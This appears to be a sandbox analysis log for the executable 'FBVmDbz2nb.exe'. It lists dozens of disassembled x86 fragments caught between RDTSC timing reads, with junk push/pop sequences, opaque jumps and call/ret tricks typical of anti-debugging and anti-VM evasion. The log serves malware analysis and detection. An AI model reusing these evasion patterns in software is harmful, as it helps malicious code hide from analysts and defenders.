Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DBBB83 second address: DBBBA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Eh 0x00000007 jnc 00007F8784D62266h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F8784D62266h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DBBBA5 second address: DBBBC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F8784B30568h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DBBBC3 second address: DBBBC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DBBBC9 second address: DBBBCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DBBBCF second address: DBBBFA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8784D62266h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 jng 00007F8784D62266h 0x00000016 jnc 00007F8784D62266h 0x0000001c pop esi 0x0000001d jmp 00007F8784D6226Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DBDA7D second address: DBDA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D863DB second address: D863F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F8784D6226Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D863F0 second address: D863FC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784B3055Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC0EA4 second address: DC0EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC0EAA second address: DC0EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8784B30556h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC0EB5 second address: DC0EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62272h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8784D62272h 0x00000010 jno 00007F8784D6226Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC1069 second address: DC106E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC15E6 second address: DC1604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC302B second address: DC3030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC3181 second address: DC3185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC3185 second address: DC318B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC33A1 second address: DC33AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC33AB second address: DC33AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC3CF9 second address: DC3CFE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC3E2E second address: DC3E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC4038 second address: DC403E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC602B second address: DC6042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8784B30556h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F8784B30558h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC689B second address: DC68B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F8784D6226Fh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC8148 second address: DC814C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC814C second address: DC8152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC8152 second address: DC8157 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC8C59 second address: DC8CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F8784D62268h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 call 00007F8784D62278h 0x00000025 mov dword ptr [ebp+122D2196h], eax 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f add dword ptr [ebp+122D2394h], edi 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 movsx edi, cx 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d jng 00007F8784D6226Ch 0x00000043 jp 00007F8784D62266h 0x00000049 jmp 00007F8784D62271h 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 jmp 00007F8784D62275h 0x00000059 popad 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d pop eax 0x0000005e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC8A22 second address: DC8A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC8A26 second address: DC8A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F8784D6226Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jnc 00007F8784D62266h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC968B second address: DC969D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 jp 00007F8784B30558h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DC8A46 second address: DC8A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCEE2B second address: DCEE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCEE2F second address: DCEE35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCF6D9 second address: DCF6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD07AA second address: DD07CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784D62271h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD1634 second address: DD163A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD07CF second address: DD07D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD163A second address: DD1656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784B30560h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD07D5 second address: DD07D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD1656 second address: DD16DD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jne 00007F8784B30556h 0x00000011 pop edi 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F8784B30558h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e or ebx, dword ptr [ebp+122D2CD0h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F8784B30558h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D3873h], ebx 0x00000058 xchg eax, esi 0x00000059 jmp 00007F8784B30568h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD16DD second address: DD16E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD16E1 second address: DD16E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD2632 second address: DD2649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD17F8 second address: DD17FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD2649 second address: DD264F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD264F second address: DD2653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD17FC second address: DD181B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62270h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F8784D6226Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD181B second address: DD181F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD181F second address: DD1825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD36AF second address: DD3720 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8784B30558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F8784B30563h 0x00000011 jmp 00007F8784B3055Dh 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F8784B30558h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov ebx, dword ptr [ebp+122D2BE8h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b mov edi, dword ptr [ebp+122DB9F3h] 0x00000041 mov dword ptr [ebp+1244F31Bh], eax 0x00000047 xchg eax, esi 0x00000048 jng 00007F8784B3055Ch 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jns 00007F8784B30558h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD47F5 second address: DD4809 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jl 00007F8784D62266h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD4809 second address: DD4813 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8784B3055Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD38D2 second address: DD38D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD493A second address: DD493E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD493E second address: DD4947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD4947 second address: DD49DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8784B30556h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F8784B3055Eh 0x00000013 jp 00007F8784B30558h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c nop 0x0000001d cld 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov ebx, dword ptr [ebp+122D39F6h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F8784B30558h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov eax, dword ptr [ebp+122D0C85h] 0x00000052 mov ebx, dword ptr [ebp+122D2A78h] 0x00000058 push FFFFFFFFh 0x0000005a push 00000000h 0x0000005c push edi 0x0000005d call 00007F8784B30558h 0x00000062 pop edi 0x00000063 mov dword ptr [esp+04h], edi 0x00000067 add dword ptr [esp+04h], 00000018h 0x0000006f inc edi 0x00000070 push edi 0x00000071 ret 0x00000072 pop edi 0x00000073 ret 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push ebx 0x00000078 jp 00007F8784B30556h 0x0000007e pop ebx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD5A94 second address: DD5A9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD77D3 second address: DD77FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784B30562h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD77FF second address: DD7804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD8813 second address: DD8817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD8817 second address: DD8823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D7F6D6 second address: D7F6E0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8784B30556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: D7F6E0 second address: D7F72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D6226Eh 0x0000000b jmp 00007F8784D62271h 0x00000010 jmp 00007F8784D62277h 0x00000015 popad 0x00000016 je 00007F8784D62274h 0x0000001c jc 00007F8784D6226Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD89BF second address: DD89C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD89C3 second address: DD89C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD89C7 second address: DD89CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDB072 second address: DDB078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDC24A second address: DDC24E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDED8B second address: DDED91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDC24E second address: DDC26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784B30561h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD79FE second address: DD7A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDED91 second address: DDED96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDC26B second address: DDC26F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDED96 second address: DDED9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DD7A02 second address: DD7A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D62275h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDC26F second address: DDC275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDD054 second address: DDD0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, ebx 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F8784D62268h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c add dword ptr [ebp+1245A88Dh], edi 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 pushad 0x0000003a mov ecx, 44829F9Ch 0x0000003f xor dword ptr [ebp+1244F2E7h], edi 0x00000045 popad 0x00000046 mov eax, dword ptr [ebp+122D1595h] 0x0000004c movzx ebx, di 0x0000004f push FFFFFFFFh 0x00000051 pushad 0x00000052 mov dword ptr [ebp+122D3934h], edi 0x00000058 jc 00007F8784D62272h 0x0000005e jmp 00007F8784D6226Ch 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 js 00007F8784D62268h 0x0000006d push ebx 0x0000006e pop ebx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDC275 second address: DDC27F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8784B30556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDD0D5 second address: DDD0DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDDF8D second address: DDDFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30562h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDFD8D second address: DDFD91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDDFA3 second address: DDDFB5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDDFB5 second address: DDDFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DDFEE8 second address: DDFEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DE8CBD second address: DE8CDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62278h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
